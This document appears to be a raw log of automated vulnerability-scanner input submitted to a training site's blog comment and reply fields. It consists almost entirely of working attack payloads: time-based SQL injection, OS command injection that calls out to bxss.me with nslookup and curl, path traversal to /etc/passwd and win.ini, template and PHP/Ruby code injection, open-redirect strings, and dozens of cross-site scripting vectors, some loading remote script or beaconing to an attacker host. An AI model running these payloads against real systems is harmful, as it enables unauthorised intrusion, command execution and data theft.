gethostbyname(lc('hitmg'.'rmoxknni0380c.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(120).chr(73).chr(122).chr(85)
555
555
".gethostbyname(lc("hityt"."bthgcygz325ad.bxss.me."))."A".chr(67).chr(hex("58")).chr(109).chr(75).chr(121).chr(80)."
555
555
555
'.gethostbyname(lc('hitoc'.'yjpvknns0c6ed.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(99).chr(75).chr(111).chr(90).'
555
555
555
555
555"||sleep(27*1000)*qhwlgo||"
555
555
555
555'||sleep(27*1000)*bpjotv||'
555
555
555
555"&&sleep(27*1000)*rrxupw&&"
555
555
555'&&sleep(27*1000)*dwcxsk&&'
555
'"()
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
http://bxss.me/t/fit.txt?.jpg
555
555
555
Http://bxss.me/t/fit.txt
555
555
555
bxss.me
555
555
(select 198766*667891 from DUAL)
c:/windows/win.ini
555
555
555
(select 198766*667891)
../../../../../../../../../../../../../../etc/shells
555
555
@@Yk9J4
/etc/shells
555
555
555????%2527%2522\'\"
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs .jpg
555
555
555'"
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
555
555
555
555
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555
555
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555
555
^(#$!@#$)(()))******
555htKxOmLK')) OR 613=(SELECT 613 FROM PG_SLEEP(15))--
555
555
!(()&&!|*|*|
5550DV2Fzms') OR 455=(SELECT 455 FROM PG_SLEEP(15))--
555
555
)
555LYExWUQ9' OR 750=(SELECT 750 FROM PG_SLEEP(15))--
555
555
555
555
555-1)) OR 474=(SELECT 474 FROM PG_SLEEP(15))--
555
555
555
555-1) OR 514=(SELECT 514 FROM PG_SLEEP(15))--
555
555
555
555
555-1 OR 102=(SELECT 102 FROM PG_SLEEP(15))--
555
555CD8804DB'; waitfor delay '0:0:15' --
555
555
555-1 waitfor delay '0:0:15' --
555
555-1); waitfor delay '0:0:15' --
555&n909935=v957755
555
555
555-1; waitfor delay '0:0:15' --
555
555
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555
555
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
555
555
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
${9999650+10000250}
555
555*if(now()=sysdate(),sleep(15),0)
555
-1" OR 5*5=25 or "pfA1NHtp"="
-1' OR 5*5=25 or 'tzEtQbIo'='
555
555
-1" OR 5*5=25 --
555
555
555
-1' OR 5*5=25 --
555
-1 OR 5*5=25
555
555<esi:include src="http://bxss.me/rpb.png"/>
-1 OR 5*5=25 --
555
555
555
555
555l66abRWX
555
555
555
555
555
555
555
555
555
555
555
555
555
&(nslookup${IFS}-q${IFS}cname${IFS}hitswzltfcmjb3696d.bxss.me||curl${IFS}hitswzltfcmjb3696d.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitswzltfcmjb3696d.bxss.me||curl${IFS}hitswzltfcmjb3696d.bxss.me)&`'
12345'"\'\");|]* { < >?''💡
555
|(nslookup${IFS}-q${IFS}cname${IFS}hitbxhrwyncsu698cd.bxss.me||curl${IFS}hitbxhrwyncsu698cd.bxss.me)
555
;(nslookup -q=cname hitfgzourggbwa4b73.bxss.me||curl hitfgzourggbwa4b73.bxss.me)|(nslookup -q=cname hitfgzourggbwa4b73.bxss.me||curl hitfgzourggbwa4b73.bxss.me)&(nslookup -q=cname hitfgzourggbwa4b73.bxss.me||curl hitfgzourggbwa4b73.bxss.me)
../555
555
`(nslookup -q=cname hityrcrmsgjru77dac.bxss.me||curl hityrcrmsgjru77dac.bxss.me)`
555
555
|(nslookup -q=cname hitzhjschicps8a504.bxss.me||curl hitzhjschicps8a504.bxss.me)
file:///etc/passwd
555
&(nslookup -q=cname hitlozrvinllm76fe6.bxss.me||curl hitlozrvinllm76fe6.bxss.me)&'\"`0&(nslookup -q=cname hitlozrvinllm76fe6.bxss.me||curl hitlozrvinllm76fe6.bxss.me)&`'
555
../../../../../../../../../../../../../../windows/win.ini
555
&nslookup -q=cname hitwpgvzjyqhx9e7c2.bxss.me&'\"`0&nslookup -q=cname hitwpgvzjyqhx9e7c2.bxss.me&`'
../../../../../../../../../../../../../../etc/passwd
555
$(nslookup -q=cname hitawbatkxggbc4c85.bxss.me||curl hitawbatkxggbc4c85.bxss.me)
555
555
(nslookup -q=cname hithxlcvnafjl2f066.bxss.me||curl hithxlcvnafjl2f066.bxss.me))
555
555
expr 9000279098 - 922335
555
555
555
555|echo sutxkq$()\ bppnnv\nz^xyu||a #' |echo sutxkq$()\ bppnnv\nz^xyu||a #|" |echo sutxkq$()\ bppnnv\nz^xyu||a #
555
555
|echo luepjf$()\ ygfncb\nz^xyu||a #' |echo luepjf$()\ ygfncb\nz^xyu||a #|" |echo luepjf$()\ ygfncb\nz^xyu||a #
555
555
555&echo knssvp$()\ gglrsi\nz^xyu||a #' &echo knssvp$()\ gglrsi\nz^xyu||a #|" &echo knssvp$()\ gglrsi\nz^xyu||a #
555
&echo jugwxf$()\ vgocgo\nz^xyu||a #' &echo jugwxf$()\ vgocgo\nz^xyu||a #|" &echo jugwxf$()\ vgocgo\nz^xyu||a #
555
echo voaynn$()\ fclznx\nz^xyu||a #' &echo voaynn$()\ fclznx\nz^xyu||a #|" &echo voaynn$()\ fclznx\nz^xyu||a #
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
bXZRdJUB: f0B8QkhH
555
555
nYESRFv3
555
555
555
555
555
555
555
555
555
555
555
555
"+response.write(9102154*9387906)+"
'+response.write(9102154*9387906)+'
response.write(9102154*9387906)
555
555
555
555
555
555
555
@@J9Lbq
555
555
555
555
555
555
5559474218
555
555
'"()&%<zzz><ScRiPt >vDax(9272)</ScRiPt>
555
555
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hitmmznmhnxmeffd7d.bxss.me")}}
555
555'"()&%<zzz><ScRiPt >vDax(9455)</ScRiPt>
555
555
555
555
555
555
555
555
555
555
555
555
555
redirtest.acx?555
https://bxss.me/555
https://bxss.me?https://daotao.aladdin-jsc.com/
//bxss.me/?555
%2f%2fbxss.me%2f
\\bxss.me
/\/bxss.me/
/\bxss.me/
555
555
https:\\bxss.me\
http:bxss.me
//bxss.me/daotao.aladdin-jsc.com/
555
//bxss.me/
https://bxss.me?555
@bxss.me/
https://bxss.me?daotao.aladdin-jsc.com/
https://bxss.me#daotao.aladdin-jsc.com/
555
555
https://bxss.me\@daotao.aladdin-jsc.com/
https://daotao.aladdin-jsc.com:80@bxss.me/
555
555
https://daotao.aladdin-jsc.com@bxss.me/
https://daotao.aladdin-jsc.com.bxss.me/
https://bxss.me/
555
<!--
https://daotao.aladdin-jsc.com/
(select 198766*667891 from DUAL)
'{"
redirtest.acx
(select 198766*667891)
555
555
@@mQTmo
555
555
555????%2527%2522\'\"
555
555'"
555
555
xfs.bxss.me
555
555
555
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555
555
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555
555
5557uhBFplf')) OR 358=(SELECT 358 FROM PG_SLEEP(15))--
555
555iSLNva4n') OR 397=(SELECT 397 FROM PG_SLEEP(15))--
555
555XVW6muCn' OR 783=(SELECT 783 FROM PG_SLEEP(15))--
555
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
555-1)) OR 313=(SELECT 313 FROM PG_SLEEP(15))--
555
555
555-1) OR 649=(SELECT 649 FROM PG_SLEEP(15))--
'.print(md5(31337)).'
blog-reply-submit/.
555
555-1 OR 713=(SELECT 713 FROM PG_SLEEP(15))--
${@print(md5(31337))}\
blog-reply-submit
555
555bgEn40sS'; waitfor delay '0:0:15' --
555
${@print(md5(31337))}
blog-reply-submit
555
555-1 waitfor delay '0:0:15' --
";print(md5(31337));$a="
555
555
555-1); waitfor delay '0:0:15' --
';print(md5(31337));$a='
555
555
555-1; waitfor delay '0:0:15' --
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
555
555
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555
555
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
'A'.concat(70-3).concat(22*4).concat(119).concat(65).concat(109).concat(83)+(require'socket' Socket.gethostbyname('hitmz'+'cikywkok0facf.bxss.me.')[3].to_s)
555
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555
'+'A'.concat(70-3).concat(22*4).concat(98).concat(90).concat(113).concat(88)+(require'socket' Socket.gethostbyname('hitjx'+'otbjtoaj2f89a.bxss.me.')[3].to_s)+'
555
555*if(now()=sysdate(),sleep(15),0)
555
"+"A".concat(70-3).concat(22*4).concat(110).concat(87).concat(101).concat(66)+(require"socket" Socket.gethostbyname("hityb"+"lyvjkozffe0bf.bxss.me.")[3].to_s)+"
555
555
-1" OR 5*5=25 or "1VBzwMW0"="
555
555
555
555
-1' OR 5*5=25 or 'py1uXVio'='
555
555
555
-1" OR 5*5=25 --
555
555
555
-1' OR 5*5=25 --
555
-1 OR 5*5=25
-1 OR 5*5=25 --
555
555
555
55540ZxJcZ9
555
555
555
bxss.me/t/xss.html?%00
555
555
HttP://bxss.me/t/xss.html?%00
555
555
555
555
555
555
555
555
555
555
555
555
555
555
gethostbyname(lc('hitem'.'uokhzavjac07f.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(122).chr(76).chr(122).chr(65)
555
555
".gethostbyname(lc("hituj"."xhyfoutn7ce94.bxss.me."))."A".chr(67).chr(hex("58")).chr(97).chr(84).chr(113).chr(86)."
555
'.gethostbyname(lc('hitwp'.'bcmrgtii177f2.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(100).chr(81).chr(99).chr(74).'
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555"||sleep(27*1000)*btemtn||"
555
555
555'||sleep(27*1000)*rybbmh||'
555
555
555"&&sleep(27*1000)*waaara&&"
555
555
555'&&sleep(27*1000)*cssyqx&&'
555
555
555
'"()
555
555
555
555
555
555
555
555
555
555
555
555
555
&(nslookup${IFS}-q${IFS}cname${IFS}hitsfplfyovlq43808.bxss.me||curl${IFS}hitsfplfyovlq43808.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitsfplfyovlq43808.bxss.me||curl${IFS}hitsfplfyovlq43808.bxss.me)&`'
555
555
|(nslookup${IFS}-q${IFS}cname${IFS}hitifgimdcrhk270f5.bxss.me||curl${IFS}hitifgimdcrhk270f5.bxss.me)
555
;(nslookup -q=cname hiturvjicqdfpa8294.bxss.me||curl hiturvjicqdfpa8294.bxss.me)|(nslookup -q=cname hiturvjicqdfpa8294.bxss.me||curl hiturvjicqdfpa8294.bxss.me)&(nslookup -q=cname hiturvjicqdfpa8294.bxss.me||curl hiturvjicqdfpa8294.bxss.me)
555
555
http://bxss.me/t/fit.txt?.jpg
555
`(nslookup -q=cname hitncyvicynms61a51.bxss.me||curl hitncyvicynms61a51.bxss.me)`
555
Http://bxss.me/t/fit.txt
|(nslookup -q=cname hitnexdavsucz1a44f.bxss.me||curl hitnexdavsucz1a44f.bxss.me)
555
bxss.me
555
555
&(nslookup -q=cname hitxwlggbekvt9dcc4.bxss.me||curl hitxwlggbekvt9dcc4.bxss.me)&'\"`0&(nslookup -q=cname hitxwlggbekvt9dcc4.bxss.me||curl hitxwlggbekvt9dcc4.bxss.me)&`'
555
c:/windows/win.ini
555
&nslookup -q=cname hithgqkoepxoc1e73f.bxss.me&'\"`0&nslookup -q=cname hithgqkoepxoc1e73f.bxss.me&`'
../../../../../../../../../../../../../../etc/shells
555
$(nslookup -q=cname hitixsztmchpvaabfa.bxss.me||curl hitixsztmchpvaabfa.bxss.me)
/etc/shells
555
(nslookup -q=cname hitatktftmrzva69f8.bxss.me||curl hitatktftmrzva69f8.bxss.me))
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs .jpg
555
expr 9000766955 - 917770
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
555
555|echo yvdeeq$()\ ihfymi\nz^xyu||a #' |echo yvdeeq$()\ ihfymi\nz^xyu||a #|" |echo yvdeeq$()\ ihfymi\nz^xyu||a #
555
555
|echo meedxc$()\ itwxvo\nz^xyu||a #' |echo meedxc$()\ itwxvo\nz^xyu||a #|" |echo meedxc$()\ itwxvo\nz^xyu||a #
555
555&echo zhnqwb$()\ sswgrw\nz^xyu||a #' &echo zhnqwb$()\ sswgrw\nz^xyu||a #|" &echo zhnqwb$()\ sswgrw\nz^xyu||a #
555
&echo gfvuxg$()\ pjlxsm\nz^xyu||a #' &echo gfvuxg$()\ pjlxsm\nz^xyu||a #|" &echo gfvuxg$()\ pjlxsm\nz^xyu||a #
555
echo tgkgvn$()\ uwfgje\nz^xyu||a #' &echo tgkgvn$()\ uwfgje\nz^xyu||a #|" &echo tgkgvn$()\ uwfgje\nz^xyu||a #
555
555
555
555
555
555
555
555
555
^(#$!@#$)(()))******
555
555
555
!(()&&!|*|*|
555
555
555
)
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555&n952534=v990701
555
555
555
555
555
555
555
555
555
../555
555
555
555
file:///etc/passwd
555
../../../../../../../../../../../../../../windows/win.ini
555
../../../../../../../../../../../../../../etc/passwd
555
555
555
${9999762+10000191}
555
555
555
555
555
555
555
555
555
555
555
12345'"\'\");|]* { < >?''💡
555
555
555
555
555
555
555
555
555
555<esi:include src="http://bxss.me/rpb.png"/>
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
cBENeZmh: t4GfRmrl
555
555
ptAnvOUR
555
555
555
555
555
555
555
555
555
"+response.write(9873281*9233318)+"
'+response.write(9873281*9233318)+'
response.write(9873281*9233318)
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
5559755231
555
555
'"()&%<zzz><ScRiPt >tpEH(9371)</ScRiPt>
555
555
555
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hitfkbjwjltkq5eb8c.bxss.me")}}
555
555
555
555'"()&%<zzz><ScRiPt >tpEH(9512)</ScRiPt>
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
<!--
555
555
'{"
555
555
555
555
555
555
555
blog-comment-submit/.
555
555
blog-comment-submit
555
555
555
blog-comment-submit
555
555
xfs.bxss.me
555
555
555
555
555
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
redirtest.acx?555
555
555
555
https://bxss.me/555
555
555
555
https://bxss.me?https://daotao.aladdin-jsc.com/
555
555
555
//bxss.me/?555
555
'A'.concat(70-3).concat(22*4).concat(102).concat(71).concat(122).concat(88)+(require'socket' Socket.gethostbyname('hitrr'+'cqejifuq318e8.bxss.me.')[3].to_s)
555
%2f%2fbxss.me%2f
555
'+'A'.concat(70-3).concat(22*4).concat(106).concat(84).concat(98).concat(67)+(require'socket' Socket.gethostbyname('hitie'+'qgeexcfwe70b4.bxss.me.')[3].to_s)+'
555
555
\\bxss.me
555
"+"A".concat(70-3).concat(22*4).concat(118).concat(88).concat(105).concat(68)+(require"socket" Socket.gethostbyname("hitgr"+"bzlzwgkuab31d.bxss.me.")[3].to_s)+"
555
/\/bxss.me/
555
555
555
555
/\bxss.me/
555
555
555
555
https:\\bxss.me\
555
555
555
http:bxss.me
555
555
//bxss.me/daotao.aladdin-jsc.com/
555
555
//bxss.me/
555
https://bxss.me?555
555
@bxss.me/
555
555
555
https://bxss.me?daotao.aladdin-jsc.com/
555
'.print(md5(31337)).'
555
https://bxss.me#daotao.aladdin-jsc.com/
555
${@print(md5(31337))}\
555
https://bxss.me\@daotao.aladdin-jsc.com/
555
${@print(md5(31337))}
555
https://daotao.aladdin-jsc.com:80@bxss.me/
";print(md5(31337));$a="
555
https://daotao.aladdin-jsc.com@bxss.me/
';print(md5(31337));$a='
555
https://daotao.aladdin-jsc.com.bxss.me/
bxss.me/t/xss.html?%00
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
555
https://bxss.me/
HttP://bxss.me/t/xss.html?%00
555
555
https://daotao.aladdin-jsc.com/
555
555
555
555
redirtest.acx
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555"||sleep(27*1000)*lmitcr||"
555
555
555
555'||sleep(27*1000)*dzbcwx||'
555
555
555
555"&&sleep(27*1000)*dexfoo&&"
555
555
555
555'&&sleep(27*1000)*qkylil&&'
555
555
555
'"()
555
555
555
555
555
555
555
555
555
555
555
555
555
gethostbyname(lc('hitae'.'vnwtaqua1f243.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(102).chr(88).chr(115).chr(65)
555
555
555
555
".gethostbyname(lc("hituy"."ibyzspyj39785.bxss.me."))."A".chr(67).chr(hex("58")).chr(108).chr(67).chr(101).chr(73)."
555
555
555
555
'.gethostbyname(lc('hitzt'.'chxtldgpedbac.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(110).chr(75).chr(98).chr(69).'
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
http://bxss.me/t/fit.txt?.jpg
555
555
Http://bxss.me/t/fit.txt
555
555
bxss.me
555
c:/windows/win.ini
555
../../../../../../../../../../../../../../etc/shells
555
/etc/shells
555
^(#$!@#$)(()))******
555
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs .jpg
555
!(()&&!|*|*|
555
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
555
)
555
555
555
555
555
555
555
555
(select 198766*667891 from DUAL)
555
555
555
(select 198766*667891)
555
555
@@MpxNh
555
555
555????%2527%2522\'\"
555
555
555'"
555
555
555
555
555
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555
555
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555
555
555iVaclSkF')) OR 136=(SELECT 136 FROM PG_SLEEP(15))--
555
555FlWcEbPk') OR 560=(SELECT 560 FROM PG_SLEEP(15))--
555&n961112=v931870
555
555BLmoEJ5s' OR 998=(SELECT 998 FROM PG_SLEEP(15))--
555
555
555-1)) OR 276=(SELECT 276 FROM PG_SLEEP(15))--
555-1) OR 340=(SELECT 340 FROM PG_SLEEP(15))--
555
555-1 OR 667=(SELECT 667 FROM PG_SLEEP(15))--
555D6h5gDTI'; waitfor delay '0:0:15' --
555-1 waitfor delay '0:0:15' --
555
555-1); waitfor delay '0:0:15' --
555
555-1; waitfor delay '0:0:15' --
555
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
${9999291+9999869}
555
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
555
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555<esi:include src="http://bxss.me/rpb.png"/>
555
555*if(now()=sysdate(),sleep(15),0)
-1" OR 5*5=25 or "PDKoj5oH"="
555
-1' OR 5*5=25 or 'N2mkrpJ7'='
555
555
-1" OR 5*5=25 --
555
-1' OR 5*5=25 --
555
-1 OR 5*5=25
&(nslookup${IFS}-q${IFS}cname${IFS}hitwsppmwvwxj111ac.bxss.me||curl${IFS}hitwsppmwvwxj111ac.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitwsppmwvwxj111ac.bxss.me||curl${IFS}hitwsppmwvwxj111ac.bxss.me)&`'
555
-1 OR 5*5=25 --
|(nslookup${IFS}-q${IFS}cname${IFS}hitkszxfrfmhcfe293.bxss.me||curl${IFS}hitkszxfrfmhcfe293.bxss.me)
555
555
555
;(nslookup -q=cname hitzqrnjkmewj4aa2b.bxss.me||curl hitzqrnjkmewj4aa2b.bxss.me)|(nslookup -q=cname hitzqrnjkmewj4aa2b.bxss.me||curl hitzqrnjkmewj4aa2b.bxss.me)&(nslookup -q=cname hitzqrnjkmewj4aa2b.bxss.me||curl hitzqrnjkmewj4aa2b.bxss.me)
555
555Hc7zAvWx
`(nslookup -q=cname hitdectzknnlu1393b.bxss.me||curl hitdectzknnlu1393b.bxss.me)`
555
555
|(nslookup -q=cname hitlnscgifjvdb95bd.bxss.me||curl hitlnscgifjvdb95bd.bxss.me)
555
555
&(nslookup -q=cname hiteohpftbuti5c318.bxss.me||curl hiteohpftbuti5c318.bxss.me)&'\"`0&(nslookup -q=cname hiteohpftbuti5c318.bxss.me||curl hiteohpftbuti5c318.bxss.me)&`'
555
555
&nslookup -q=cname hitrqmoziuboq34f9c.bxss.me&'\"`0&nslookup -q=cname hitrqmoziuboq34f9c.bxss.me&`'
555
$(nslookup -q=cname hitjaqkacdwrga494b.bxss.me||curl hitjaqkacdwrga494b.bxss.me)
555
555
(nslookup -q=cname hitsilbvfiplu15245.bxss.me||curl hitsilbvfiplu15245.bxss.me))
555
expr 9000157585 - 986784
12345'"\'\");|]* { < >?''💡
555
555|echo ymrlhb$()\ kbbjxc\nz^xyu||a #' |echo ymrlhb$()\ kbbjxc\nz^xyu||a #|" |echo ymrlhb$()\ kbbjxc\nz^xyu||a #
555
|echo kltukz$()\ bywivw\nz^xyu||a #' |echo kltukz$()\ bywivw\nz^xyu||a #|" |echo kltukz$()\ bywivw\nz^xyu||a #
../555
555
555&echo icqurl$()\ nzhxpi\nz^xyu||a #' &echo icqurl$()\ nzhxpi\nz^xyu||a #|" &echo icqurl$()\ nzhxpi\nz^xyu||a #
555
555
&echo anypqp$()\ ohroag\nz^xyu||a #' &echo anypqp$()\ ohroag\nz^xyu||a #|" &echo anypqp$()\ ohroag\nz^xyu||a #
file:///etc/passwd
555
echo vqezht$()\ rrpveq\nz^xyu||a #' &echo vqezht$()\ rrpveq\nz^xyu||a #|" &echo vqezht$()\ rrpveq\nz^xyu||a #
555
../../../../../../../../../../../../../../windows/win.ini
555
555
../../../../../../../../../../../../../../etc/passwd
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
u2lmjZkb: NdI49zdx
555
aO3F8H3u
555
555
555
555
555
555
555
555
555
555
"+response.write(9185032*9120018)+"
'+response.write(9185032*9120018)+'
response.write(9185032*9120018)
555
555
555
555
555
555
555
1????%2527%2522\'\"
1'"
1
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
11MRCABpv')) OR 656=(SELECT 656 FROM PG_SLEEP(15))--
1R5xxFedq') OR 373=(SELECT 373 FROM PG_SLEEP(15))--
1zmUfMRhi' OR 443=(SELECT 443 FROM PG_SLEEP(15))--
redirtest.acx?1
1-1)) OR 613=(SELECT 613 FROM PG_SLEEP(15))--
https://bxss.me/1
1-1) OR 876=(SELECT 876 FROM PG_SLEEP(15))--
https://bxss.me?https://daotao.aladdin-jsc.com/
1-1 OR 592=(SELECT 592 FROM PG_SLEEP(15))--
//bxss.me/?1
1LPnUB01G'; waitfor delay '0:0:15' --
%252f%252fbxss.me%252f
1-1 waitfor delay '0:0:15' --
\\bxss.me
1-1); waitfor delay '0:0:15' --
/\/bxss.me/
/\bxss.me/
https:\\bxss.me\
1-1; waitfor delay '0:0:15' --
http:bxss.me
//bxss.me/daotao.aladdin-jsc.com/
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
//bxss.me/
https://bxss.me?1
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
@bxss.me/
https://bxss.me?daotao.aladdin-jsc.com/
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
1
1<aoKuboL<
1%3CabtRkv4%3C
1<img sRc='http://attacker-9393/log.php?
1<aFup8bR x=9492>
1<ifRAme sRc=9831.com></IfRamE>
1<WMQ1QO>GAFWD[!+!]</WMQ1QO>
1l0U2A <ScRiPt >xuyB(9064)</ScRiPt>
1}body{zzz:Expre/**/SSion(xuyB(9871))}
<a HrEF=jaVaScRiPT:>
<a HrEF=http://xss.bxss.me></a>
1<input autofocus onfocus=xuyB(9994)>
?<img zzz onmouseover=xuyB(91371) //?>
1<ScRiPt>xuyB(9015)</sCripT>
1\u003CScRiPt\xuyB(9729)\u003C/sCripT\u003E
%31%3C%53%63%52%69%50%74%20%3E%78%75%79%42%289388%29%3C%2F%73%43%72%69%70%54%3E
1<img/src=">" onerror=alert(9926)>
1%3Cimg/src="%3E"%20onerror=alert(9734)%3E
1<img src=xyz OnErRor=xuyB(9406)>
1<img src=//xss.bxss.me/t/dot.gif onload=xuyB(9397)>
1<body onload=xuyB(9540)>
1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9120'>
1<isindex type=image src=1 onerror=xuyB(9543)>
1<svg ? onload=xuyB(9723);>
1< ScRiPt >xuyB(9766)</ScRiPt>
1<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9447></ScRiPt>
1<ScRiPt >xuyB(9219)</ScRiPt>
1%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%78%75%79%42%28%39%37%36%32%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E
1 xuyB(9680) 9680
1%3Cscript%3ExuyB(9653)%3C/script%3E9653
1 xuyB(9270)
1%3Cscript%3ExuyB(9796)%3C/script%3E
1<WKZ9OB>AGLSS[!+!]</WKZ9OB>
1<ScRiPt >xuyB(9150)</ScRiPt>
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
dfb__${98991*97996}__::.x
dfb[[${98991*97996}]]xca
dfb{{98991*97996}}xca
1
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
1
<th:t="${dfb}#foreach
1
<%={{={@{#{${dfb}}%>
bfgx7809%C0%BEz1%C0%BCz2a%90bcxhjl7809
bfg7729%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl7729
19626719
'"()&%<zzz><ScRiPt >xuyB(9440)</ScRiPt>
1'"()&%<zzz><ScRiPt >xuyB(9433)</ScRiPt>
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1<aKmBDd5<
1
1%3CaZOXR7n%3C
1<img sRc='http://attacker-9033/log.php?
1
1<azhescU x=9470>
1
1<ifRAme sRc=9745.com></IfRamE>
1
1<WYVUPZ>YGGBV[!+!]</WYVUPZ>
1
1eWGKG <ScRiPt >CKhv(9469)</ScRiPt>
1
1}body{zzz:Expre/**/SSion(CKhv(9947))}
1
<a HrEF=jaVaScRiPT:>
1
<a HrEF=http://xss.bxss.me></a>
1
1<input autofocus onfocus=CKhv(9195)>
1
?<img zzz onmouseover=CKhv(98061) //?>
1
1<ScRiPt>CKhv(9957)</sCripT>
1
1\u003CScRiPt\CKhv(9877)\u003C/sCripT\u003E
1
%31%3C%53%63%52%69%50%74%20%3E%43%4B%68%76%289219%29%3C%2F%73%43%72%69%70%54%3E
1
1<img/src=">" onerror=alert(9479)>
1
1%3Cimg/src="%3E"%20onerror=alert(9678)%3E
1
1<img src=xyz OnErRor=CKhv(9925)>
1
1<img src=//xss.bxss.me/t/dot.gif onload=CKhv(9226)>
1
1<body onload=CKhv(9269)>
1
1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9019'>
1
1<isindex type=image src=1 onerror=CKhv(9030)>
1
1<svg ? onload=CKhv(9806);>
1
1
1< ScRiPt >CKhv(9063)</ScRiPt>
1<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9819></ScRiPt>
1
1<ScRiPt >CKhv(9848)</ScRiPt>
1
1%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%43%4B%68%76%28%39%31%38%39%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E
1
1 CKhv(9990) 9990
1
1%3Cscript%3ECKhv(9992)%3C/script%3E9992
1
1 CKhv(9872)
1
1%3Cscript%3ECKhv(9230)%3C/script%3E
1
1<WFNFZ3>Y42GG[!+!]</WFNFZ3>
1
1<ScRiPt >CKhv(9150)</ScRiPt>
1
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
1
dfb__${98991*97996}__::.x
1
dfb[[${98991*97996}]]xca
1
dfb{{98991*97996}}xca
1
1
1
